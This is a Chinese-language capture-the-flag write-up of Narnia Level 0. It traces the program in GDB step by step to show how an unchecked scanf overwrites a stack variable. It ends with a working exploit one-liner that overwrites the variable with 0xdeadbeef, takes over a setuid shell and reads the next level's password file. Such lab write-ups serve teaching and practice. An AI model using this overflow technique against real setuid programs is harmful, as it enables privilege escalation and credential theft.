0x01-逆向-scanf使用不當造成內存控制

目錄

這是什麼?

進入逆向的世界。以一個 war game 作爲開場,後續不斷深入。

這個 war game 是 narnia鏈接此處

Level 0 -> Level 9,難度不斷增加。

踏出第一步,Level 0.

根據官網的提示,SSH 連接到服務器。

在這裏插入圖片描述

所有源文件都在 /narnia 目錄,並有編譯好的二進制。直接運行即可。所需要解鎖的密碼在 /etc/narnia_pass/ 文件夾。比如這是 Level 0,用戶是 narnia0,那麼下一級別 narnia1 用戶的密碼就在 /etc/narnia_pass/narnia1 裏。看完本篇,大家就知道整體流程了。

在這裏插入圖片描述

文章越寫越長,一段小小的代碼,原本不知道會有這麼多東西可以挖掘。但是隻有挖的夠深,才能學到更多。

可以學到什麼?

開篇比較簡單,但是也有值得學習的地方。幾個點拿出來一起學習討論。

數據類型長度

再後面的小節中會看到源碼中對於變量 val 的定義:

long val=0x41414141

瞭解一下各個 data type 的長度沒有壞處。這裏可以找到 Wiki 的詳細解釋

long 類型的長度,在任何機器上,至少是 32 位,它的表述範圍是 [−2,147,483,647, +2,147,483,647]。

Level 0 的設計,就是要我們覆蓋 val 這 32 位的地址空間。繼續往後看。

管道

管道是再也熟悉不過的概念了,將一個命令的輸出,作爲另一個命令的輸入。例如這樣:

在這裏插入圖片描述

那麼,如果要傳遞兩個或者兩個以上命令的結果作爲第二個命令的輸入該怎麼做?

比如有三個文件,需要一起輸出並排序。

在這裏插入圖片描述

應該這樣做:

(cat 1.txt; cat 2.txt; cat 3.txt) | sort

在這裏插入圖片描述

格式化輸出

格式化輸出 Cheetsheet

作爲工具,列在這裏。逆向大概率繞不開看源碼,所以輸出格式化也是源碼閱讀中非常重要的一部分。

Endianess

我不是專家,所以把這個問題留給 Wiki。Wiki 做出了很好的解釋

雖然是一個常見的話題,但是最爲新手的我總會在實踐當中忘記這一點,導致最終的 shellcode 無效。列在這裏,作爲提醒。

x86 系列的 CPU,都是 Little-Endian,意味寫入程序的 shellcode,都應該從最低位開始。例如要寫入 0xdeadbeef 到程序,應該使用如下方式:

echo -e '\xef\xbe\xad\xde' | ./program

Setuid

這個漏洞程序的 setuid bit 是設置了的。

在這裏插入圖片描述

Setuid 可以讓運行程序的用戶暫時獲取程序擁有者的權限。也就是說,我以 narnia0 的身份運行 narnia0,因爲設置了 setuid,所以我能暫時獲得 narnia1 用戶的權限,也就可以查看 /etc/narnia_pass/narnia1 文件的內容,獲取到 narnia1 用戶的密碼。

這裏有更詳細的解釋

https://en.wikipedia.org/wiki/Setuid

GDB基礎

Debuggin with GDB 是學習 GDB 的好文,可以持續學習。

最直觀的學習方式,就是用 GDB 一步一步分析程序的運行過程,對比寄存器的變化。

在目標機器上運行

gdb program-name

獲取彙編代碼:

# 默認反彙編使用 AT&T 語法,有很多的 % 之類的符號,爲了閱讀更清晰,多采用 intel 語法
set disassembley-flavor intel

# 反彙編 main 函數
disassemble main

這是目標機器上的彙編:

在這裏插入圖片描述

通過分析執行的邏輯,就可以知道棧裏面有什麼,每個元素有多少空間分配,以及他們的順序是什麼樣的。我把重點代碼列在下面:

0x0804855b <+0>:	push 	ebp # 【1】ebp 入棧,ESP 當前指向 0x0804855c
0x0804855c <+1>: 	mov    	ebp,esp # 將 esp 保存到 ebp
0x0804855e <+3>:	push	ebx # 【2】ebx 入棧,ESP 當前指向 0x0804855f
0x0804855f <+4>:	sub		esp,0x18	# 0x18 是十進制 24,這裏分配了 24 個字節給所有的局部變量 也就是 val 和 buf,
0x08048562 <+7>: 	mov		DWORD PTR [esp - 0x8],0x41414141	# 將 val 變量移入棧
0x08048569 <+14>:	push   	0x8048690
...
0x08048573 <+24>:	add    	esp,0x4
0x08048576 <+27>:	push   	0x80486c3
...
0x08048580 <+37>:	add    	esp,0x4
0x08048583 <+40>:	lea    	eax,[ebp-0x1c]
0x08048586 <+43>:	push   	eax
0x08048587 <+44>:	push   	0x80486d9
0x08048591 <+54>:	add    	esp,0x8
0x08048594 <+57>:	lea    	eax,[ebp-0x1c]
0x08048597 <+60>:	push   	eax
0x08048598 <+61>:	push   	0x80486de
...
0x080485a2 <+71>:	add    	esp,0x8
0x080485a5 <+74>:	push   	DWORD PTR [ebp-0x8]
0x080485a8 <+77>:	push   	0x80486e7
...
0x080485b2 <+87>:    add    	esp,0x8
0x080485b5 <+90>:	 cmp    	DWORD PTR [ebp-0x8],0xdeadbeef

單步運行,關注 registers 的情況。

# 打斷點
break *0x0804855b
...

# 運行程序
run

# 查看寄存器情況
info registers

# 執行下一行代碼
n

以下是每一行代碼執行之後 registers 截圖。

建議閱讀這兩篇文章,第一篇對彙編的方法調用的模式做了講解,看完之後對下面要講的前4行代碼,能有更深的理解。第二篇講了什麼是 Stack Frame,也就是我們分析的棧空間。

彙編的每個方法調用

什麼是 Stack Frame?

第 0 步(程序開始,準備執行第 1 行代碼):

在這裏插入圖片描述

在這裏插入圖片描述

ESP 當前指向 0xffffd6dc,EIP 當前指向 0x0804855b。

第 1 步(第 1 行代碼執行完畢,準備執行第 2 行代碼):

在這裏插入圖片描述

在這裏插入圖片描述

第 1 行代碼 push ebp 執行之後。

【上一步:ESP 指向 0xffffd6dc,EIP 指向 0x0804855b。】
ESP 當前指向 0xffffd6d8,EIP 當前指向 0x0804855b。
ESP 向低位移動了 4 個字節(dc - d8),EBP 入棧。

棧內情況:(棧底)EBP。

第 2 步(第 2 行代碼執行完畢,準備執行第 3 行代碼):

在這裏插入圖片描述

參數列表和局部變量都從 0xffffd6d8 開始,這是上一步 ESP 的位置。

在這裏插入圖片描述

第 2 行代碼 mov ebp,esp 執行之後。

【上一步:ESP 指向 0xffffd6d8,EIP 指向 0x0804855b。】
ESP 當前指向 0xffffd6d8,EIP 當前指向 0x0804855e。
ESP 不變,ESP 的值被存入了 EBP(見上圖)。

第 3 步(第 3 行代碼執行完畢,準備執行第 4 行代碼):

在這裏插入圖片描述

在這裏插入圖片描述

第 3 行代碼 push ebx 執行之後。

【上一步:ESP 指向 0xffffd6d8,EIP 指向 0x0804855e。】
ESP 當前指向 0xffffd6d4,EIP 當前指向 0x0804855f。
ESP 向低位移動了 4 個字節,EBX 入棧。

棧內情況:(棧底)EBP -> EBX

第 4 步:

在這裏插入圖片描述

在這裏插入圖片描述

第 4 行代碼 sub esp,0x18 執行之後。

【上一步:ESP 指向 0xffffd6d4,EIP 指向 0x0804855f。】
ESP 當前指向 0xffffd6bc,EIP 當前指向 0x08048562。
ESP 向低位移動了 24 個字節,爲局部變量(val,buf)分配了空間。val 有 4 個字節,buf 有 20 個字節。

棧內情況:(棧底)EBP -> EBX

第 5 步:

在這裏插入圖片描述

在這裏插入圖片描述

第 5 行代碼 mov DWORD PTR [ebp-0x8],0x41414141 執行之後。

【上一步:ESP 指向 0xffffd6bc,EIP 指向 0x08048562。】
ESP 當前指向 0xffffd6bc,EIP 當前指向 0x08048569。
ESP 不變,val 的值寫入 ebp - 0x8 (d0) 的位置。注意是寫入,不是入棧。所以 val 的位置緊跟在 EBX 之後。

棧內情況:(棧底)EBP -> EBX -> 變量 val (0x41414141)

第 6 步:

在這裏插入圖片描述

push 0x8048690 執行之後。

【上一步:ESP 指向 0xffffd6bc,EIP 指向 0x08048569。】
ESP 當前指向 0xffffd6b8,EIP 當前指向 0x0804856e。
ESP 向低位移動 4 個字節(bc - b8),0x8048690 入棧。

20 個字節的空位就是 buf 的位置。

棧內情況:(棧底)EBP -> EBX -> 變量 val (0x41414141) -> 20 個字節空位 -> 0x8048690

第 7 步:

在這裏插入圖片描述

call 0x80483f0 <puts@plt> 執行之後。

【上一步:ESP 指向 0xffffd6b8,EIP 指向 0x0804856e。】
ESP 當前指向 0xffffd6b8,EIP 當前指向 0x08048573。
ESP 不變。

棧內情況:(棧底)EBP -> EBX -> 變量 val (0x41414141) -> 20 個字節空位 -> 0x8048690

第 8 步:

在這裏插入圖片描述

add esp,0x4 執行之後。

【上一步:ESP 指向 0xffffd6b8,EIP 指向 0x08048573。】
ESP 當前指向 0xffffd6bc,EIP 當前指向 0x08048576。
ESP 向高位移動 4 個字節。

棧內情況:(棧底)EBP -> EBX -> 變量 val (0x41414141) -> 20 個字節空位 -> 0x8048690

第 9 步:

在這裏插入圖片描述

push 0x80486c3 執行之後。

【上一步:ESP 指向 0xffffd6bc,EIP 指向 0x08048576。】
ESP 當前指向 0xffffd6b8,EIP 當前指向 0x0804857b。
ESP 向低位移動 4 個字節。0x80486c3 覆蓋掉之前的 0x8048690。

棧內情況:(棧底)EBP -> EBX -> 變量 val (0x41414141) -> 20 個字節空位 -> 0x80486c3

第 10 步:

在這裏插入圖片描述

call 0x80483d0 <printf@plt> 執行之後。

【上一步:ESP 指向 0xffffd6b8,EIP 指向 0x0804857b。】
ESP 當前指向 0xffffd6b8,EIP 當前指向 0x08048580。
ESP 不變。

棧內情況:(棧底)EBP -> EBX -> 變量 val (0x41414141) -> 20 個字節空位 -> 0x80486c3

第 11 步:

在這裏插入圖片描述

add esp,0x4 執行之後。

【上一步:ESP 指向 0xffffd6b8,EIP 指向 0x08048580。】
ESP 當前指向 0xffffd6bc,EIP 當前指向 0x08048583。
ESP 向高位移動 4 個字節。

棧內情況:(棧底)EBP -> EBX -> 變量 val (0x41414141) -> 20 個字節空位 -> 0x80486c3

第 12 步:

在這裏插入圖片描述

lea eax,[ebp-0x1c] 執行之後。

【上一步:ESP 指向 0xffffd6bc,EIP 指向 0x08048583。】
ESP 當前指向 0xffffd6bc,EIP 當前指向 0x08048586。
ESP 不變。lea 將一個內存地址,放入 EAX。

棧內情況:(棧底)EBP -> EBX -> 變量 val (0x41414141) -> 20 個字節空位 -> 0x80486c3

第 13 步:

在這裏插入圖片描述

push eax 執行之後。

【上一步:ESP 指向 0xffffd6bc,EIP 指向 0x08048586。】
ESP 當前指向 0xffffd6b8,EIP 當前指向 0x08048587。
ESP 向低位移動 4 個字節。eax入棧,覆蓋掉 0x80486c3。

棧內情況:(棧底)EBP -> EBX -> 變量 val (0x41414141) -> 20 個字節空位 -> eax

第 14 步:

在這裏插入圖片描述

push 0x80486d9 執行之後。

【上一步:ESP 指向 0xffffd6b8,EIP 指向 0x08048587。】
ESP 當前指向 0xffffd6b4,EIP 當前指向 0x0804858c。
ESP 向低位移動 4 個字節。0x80486d9入棧。

棧內情況:(棧底)EBP -> EBX -> 變量 val (0x41414141) -> 20 個字節空位 -> eax -> 0x80486d9

第 15 步:

在這裏插入圖片描述

call 0x8048440 <__isoc99_scanf@plt> 執行之後,我輸入了 20 個 A 加上 4 個 B。

【上一步:ESP 指向 0xffffd6b4,EIP 指向 0x0804858c。】
ESP 當前指向 0xffffd6b4,EIP 當前指向 0x08048591。
ESP 不變。

棧內情況:(棧底)EBP -> EBX -> 變量 val (0x41414141) -> 20 個字節空位 -> eax -> 0x80486d9

第 16 步:

在這裏插入圖片描述

add esp,0x8 執行之後。

【上一步:ESP 指向 0xffffd6b4,EIP 指向 0x08048591。】
ESP 當前指向 0xffffd6bc,EIP 當前指向 0x08048594。
ESP 向高位移動 8 個字節。

棧內情況:(棧底)EBP -> EBX -> 變量 val (0x41414141) -> 20 個字節空位 -> eax -> 0x80486d9

第 17 步:

在這裏插入圖片描述

lea eax,[ebp-0x1c] 執行之後。

【上一步:ESP 指向 0xffffd6bc,EIP 指向 0x08048594。】
ESP 當前指向 0xffffd6bc,EIP 當前指向 0x08048597。
ESP 不變。

棧內情況:(棧底)EBP -> EBX -> 變量 val (0x41414141) -> 20 個字節空位 -> eax -> 0x80486d9

第 18 步:

在這裏插入圖片描述

push eax 執行之後。

【上一步:ESP 指向 0xffffd6bc,EIP 指向 0x08048597。】
ESP 當前指向 0xffffd6b8,EIP 當前指向 0x08048598。
ESP 向低位移動 4 個字節。

棧內情況:(棧底)EBP -> EBX -> 變量 val (0x41414141) -> 20 個字節空位 -> eax -> 0x80486d9

第 19 步:

在這裏插入圖片描述

push 0x80486de 執行之後。

【上一步:ESP 指向 0xffffd6b8,EIP 指向 0x08048598。】
ESP 當前指向 0xffffd6b4,EIP 當前指向 0x0804859d。
ESP 向低位移動 4 個字節。0x80486de 入棧,覆蓋 0x80486d9。

棧內情況:(棧底)EBP -> EBX -> 變量 val (0x41414141) -> 20 個字節空位 -> eax -> 0x80486de

第 20 步:

在這裏插入圖片描述

call 0x80483d0 <printf@plt> 執行之後。

【上一步:ESP 指向 0xffffd6b4,EIP 指向 0x0804859d。】
ESP 當前指向 0xffffd6b4,EIP 當前指向 0x080485a2。
ESP 不變。

棧內情況:(棧底)EBP -> EBX -> 變量 val (0x41414141) -> 20 個字節空位 -> eax -> 0x80486de

第 21 步:

在這裏插入圖片描述

add esp,0x8 執行之後。

【上一步:ESP 指向 0xffffd6b4,EIP 指向 0x080485a2。】
ESP 當前指向 0xffffd6bc,EIP 當前指向 0x080485a5。
ESP 不變。

棧內情況:(棧底)EBP -> EBX -> 變量 val (0x41414141) -> 20 個字節空位 -> eax -> 0x80486de

第 22 步:

在這裏插入圖片描述

push DWORD PTR [ebp-0x8] 執行之後。

【上一步:ESP 指向 0xffffd6bc,EIP 指向 0x080485a5。】
ESP 當前指向 0xffffd6b8,EIP 當前指向 0x080485a8。
ESP 向低位移動 4 個字節。ebp - 0x8 位置上的值就是 val 的值,入棧。

棧內情況:(棧底)EBP -> EBX -> 變量 val (0x41414141) -> 20 個字節空位 -> val (0x???) -> 0x80486de

第 23 步:

在這裏插入圖片描述

push 0x80486e7 執行之後。

【上一步:ESP 指向 0xffffd6b8,EIP 指向 0x080485a8。】
ESP 當前指向 0xffffd6b4,EIP 當前指向 0x080485ad。
ESP 向低位移動 4 個字節。0x80486e7 入棧,覆蓋 0x80486de。

棧內情況:(棧底)EBP -> EBX -> 變量 val (0x41414141) -> 20 個字節空位 -> val (0x???) -> 0x80486e7

第 24 步:

在這裏插入圖片描述

call 0x80483d0 <printf@plt> 執行之後。

【上一步:ESP 指向 0xffffd6b4,EIP 指向 0x080485ad。】
ESP 當前指向 0xffffd6b4,EIP 當前指向 0x080485b2。
ESP 不變。

棧內情況:(棧底)EBP -> EBX -> 變量 val (0x41414141) -> 20 個字節空位 -> val (0x???) -> 0x80486e7

第 25 步:

在這裏插入圖片描述

add esp,0x8 執行之後。

【上一步:ESP 指向 0xffffd6b4,EIP 指向 0x080485b2。】
ESP 當前指向 0xffffd6bc,EIP 當前指向 0x080485b5。
ESP 向高位移動 8 個字節。

棧內情況:(棧底)EBP -> EBX -> 變量 val (0x41414141) -> 20 個字節空位 -> val (0x???) -> 0x80486e7

第 26 步:

在這裏插入圖片描述

cmp DWORD PTR [ebp-0x8],0xdeadbeef 執行之後。

【上一步:ESP 指向 0xffffd6bc,EIP 指向 0x080485b5。】
ESP 當前指向 0xffffd6bc,EIP 當前指向 0x080485bc。
ESP 不變。

棧內情況:(棧底)EBP -> EBX -> 變量 val (0x41414141) -> 20 個字節空位 -> val (0x???) -> 0x80486e7

到這裏,經過這麼一些列的操作,這裏將 ebp - 0x8 位置上的值和 0xdeadbeef 做比較,再決定後面的流程。

回看第 15 步,調用 scanf 方法接受輸入,我輸入了 20 個 A 加 4 個 B。

輸入完成之後,使用

x/s address

查看內存中的內容。

在這裏插入圖片描述

可以看到 20 個 A 從 bc 位置開始寫入。

又可以看到,在 d0 的位置,開始寫入了 4 個 B

在這裏插入圖片描述

回看第 5 步,val 的值是被寫入到 d0 (ebp - 0x8) 的位置,因此,val 的值被覆蓋了。

回看第 26 步,取的就是 [ebp - 0x8] 也就是 d0 位置上的值與 0xdeadbeef 進行比較,正是我們可以覆蓋的值。

整個分析就結束了。

內存

能看完上面 GDB 的分析,相比對於該程序的棧在內存中的樣子應該瞭解了。

程序在內存中大致如下圖:

在這裏插入圖片描述

scanf 方法對於輸入的長度沒有檢測,所以輸入 24 個字符之後,val 被覆蓋。

如何利用這個漏洞?

源碼如下:

#include <stdio.h>
#include <stdlib.h>

int main(){
    long val=0x41414141;
    char buf[20];

    printf("Correct val's value from 0x41414141 -> 0xdeadbeef!\n");
    printf("Here is your chance: ");
    scanf("%24s",&buf);

    printf("buf: %s\n",buf);
    printf("val: 0x%08x\n",val);

    if(val==0xdeadbeef){
        setreuid(geteuid(),geteuid());
        system("/bin/sh");
    }
    else {
        printf("WAY OFF!!!!\n");
        exit(1);
    }

    return 0;
}

只要輸入的 val 等於 0xdeadbeef,就會 narnia1 的身份調用 /bin/sh(之前說過這個程序是 setuid 的程序,回看)。那麼寫入目標值,並將 cat /etc/narnia_pass/narnia1 作爲 system 調用的輸入。

(python -c 'print "A" * 20 + "\xef\xbe\xad\xde"'; echo 'cat /etc/narnia_pass/narnia1') | ./narnia0

升級成功,獲取到 narnia1 的密碼,可以登錄到 narnia1,接受下一個挑戰。

在這裏插入圖片描述

參考鏈接

  • https://stackoverflow.com/questions/11917708/pipe-multiple-commands-into-a-single-command
  • https://en.wikipedia.org/wiki/Endianness
  • https://stackoverflow.com/questions/32455684/unix-linux-difference-between-real-user-id-effective-user-id-and-saved-user
  • https://www.geeksforgeeks.org/real-effective-and-saved-userid-in-linux/
  • https://en.wikipedia.org/wiki/C_data_types
  • https://stackoverflow.com/questions/15108932/c-the-x-format-specifier
  • https://www.geeksforgeeks.org/signals-c-language/
  • https://www.geeksforgeeks.org/signals-c-set-2/
  • https://en.wikipedia.org/wiki/C_signal_handling
  • https://en.wikipedia.org/wiki/Signal_(IPC)
  • http://sourceware.org/gdb/current/onlinedocs/gdb/Machine-Code.html
  • https://alvinalexander.com/programming/printf-format-cheat-sheet/
  • https://sourceware.org/gdb/current/onlinedocs/gdb/Frames.html
  • https://en.wikipedia.org/wiki/Setuid
發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章